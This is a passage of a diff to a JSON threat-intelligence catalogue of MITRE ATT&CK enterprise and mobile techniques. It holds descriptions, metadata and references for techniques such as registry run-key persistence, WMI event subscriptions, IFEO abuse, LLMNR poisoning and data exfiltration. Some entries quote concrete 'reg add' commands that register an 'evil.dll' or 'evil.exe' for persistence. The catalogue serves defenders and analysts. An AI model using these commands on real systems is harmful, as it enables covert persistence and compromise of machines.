"https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry", "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key", "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, @@ -685,15 +694,40 @@ "value": "Clear Linux or Mac System Logs - T1070.002" }, { - "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", + "description": "An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", + "meta": { + "external_id": "T1098.003", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "User Account: User Account Modification" + ], + "mitre_platforms": [ + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1098/003", + "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", + "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "type": "subtechnique-of" + } + ], + "uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "value": "Add Office 365 Global Administrator Role - T1098.003" + }, + { + "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", "meta": { "external_id": "T1195.001", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "File: File Metadata" - ], "mitre_platforms": [ "Linux", "macOS", @@ -747,37 +781,6 @@ "uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "value": "Windows File and Directory Permissions Modification - T1222.001" }, - { - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)", - "meta": { - "external_id": "SPC-15", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1474/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", - "https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf" - ] - }, - "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "type": "subtechnique-of" - } - ], - "uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", - "value": "Compromise Software Dependencies and Development Tools - T1474.001" - }, { "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", "meta": { @@ -790,8 +793,7 @@ "mitre_data_sources": [ "File: File Creation", "File: File Modification", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" + "Process: Process Creation" ], "mitre_platforms": [ "Windows" @@ -850,12 +852,6 @@ "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "meta": { "external_id": "CAPEC-270", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/aa376977", "https://attack.mitre.org/techniques/T1060", @@ -966,15 +962,7 @@ "https://www.youtube.com/watch?v=q0n5ySqbfdI" ] }, - "related": [ - { - "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", "value": "Exploit SS7 to Track Device Location - T1450" }, @@ -1006,7 +994,15 @@ "https://attack.mitre.org/techniques/T1441" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881", "value": "Stolen Developer Credentials or Signing Keys - T1441" }, @@ -1084,15 +1080,7 @@ "https://attack.mitre.org/techniques/T1452" ] }, - "related": [ - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "value": "Manipulate App Store Rankings or Ratings - T1452" }, @@ -1341,6 +1329,53 @@ "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413", "value": "Unauthorized user introduces compromise delivery mechanism - T1387" }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1398", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://www.apple.com/business/docs/iOS_Security_Guide.pdf", + "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered" + ] + }, + "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "value": "Modify OS Kernel or Boot Partition - T1398" + }, + { + "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).\n\nPrevious demonstrations have included:\n\n* Injecting malicious applications into iOS devices(Citation: Lau-Mactans).\n* Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).\n* Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).\n\nProducts from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).", + "meta": { + "external_id": "PHY-1", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", + "https://attack.mitre.org/techniques/T1458", + "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", + "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", + "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", + "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" + ] + }, + "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "value": "Exploit via Charging Station or PC - T1458" + }, { "description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.\n\nDelivery methods for the malicious application include:\n\n* [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.\n* [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.\n* Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)\n\nSome Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)", "meta": { @@ -1380,6 +1415,39 @@ "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37", "value": "Upload, install, and configure software/tools - T1362" }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", + "meta": { + "external_id": "T1048.003", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Access", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "https://attack.mitre.org/techniques/T1048/003" + ] + }, + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "type": "subtechnique-of" + } + ], + "uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "value": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - T1048.003" + }, { "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "meta": { @@ -1419,64 +1487,6 @@ "uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "value": "LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", - "meta": { - "external_id": "T1048.003", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Access", - "Network Traffic: Network Connection Creation", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Flow" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "refs": [ - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://attack.mitre.org/techniques/T1048/003" - ] - }, - "related": [ - { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", - "type": "subtechnique-of" - } - ], - "uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", - "value": "Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" - }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1639/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "related": [ - { - "dest-uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", - "type": "subtechnique-of" - } - ], - "uuid": "37047267-3e56-453c-833e-d92b68118120", - "value": "Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001" - }, { "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", "meta": { @@ -1609,7 +1619,7 @@ "value": "SIP and Trust Provider Hijacking - T1553.003" }, { - "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "meta": { "external_id": "T1546.003", "kill_chain": [ @@ -1978,7 +1988,7 @@ "value": "Analyze organizational skillsets and deficiencies - T1300" }, { - "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network", "meta": { "external_id": "T1011", "kill_chain": [ @@ -2020,15 +2030,7 @@ "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", "value": "Network Traffic Capture or Redirection - T1410" }, @@ -2150,7 +2152,7 @@ "value": "Data from Network Shared Drive - T1039" }, { - "description": "Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView’s `JavascriptInterface` capability. \n\nOn iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch) ", + "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)\n\nOn iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)", "meta": { "external_id": "APP-20", "kill_chain": [ @@ -2162,8 +2164,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1407", + "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/", "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", - "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html" + "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html", + "https://www.internetsociety.org/sites/default/files/10_5_0.pdf", + "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei" ] }, "uuid": "6c49d50f-494d-4150-b774-a655022d20a6", @@ -2173,12 +2178,6 @@ "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", "meta": { "external_id": "T1084", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1084", "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96", @@ -2204,14 +2203,6 @@ "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", "meta": { "external_id": "T1094", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1094" @@ -2262,7 +2253,15 @@ "https://attack.mitre.org/techniques/T1431" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2", "value": "App Delivered via Web Download - T1431" }, @@ -2270,14 +2269,6 @@ "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "meta": { "external_id": "T1183", - "kill_chain": [ - "mitre-attack:privilege-escalation", - "mitre-attack:persistence", - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1183", "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", @@ -2305,13 +2296,6 @@ "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider 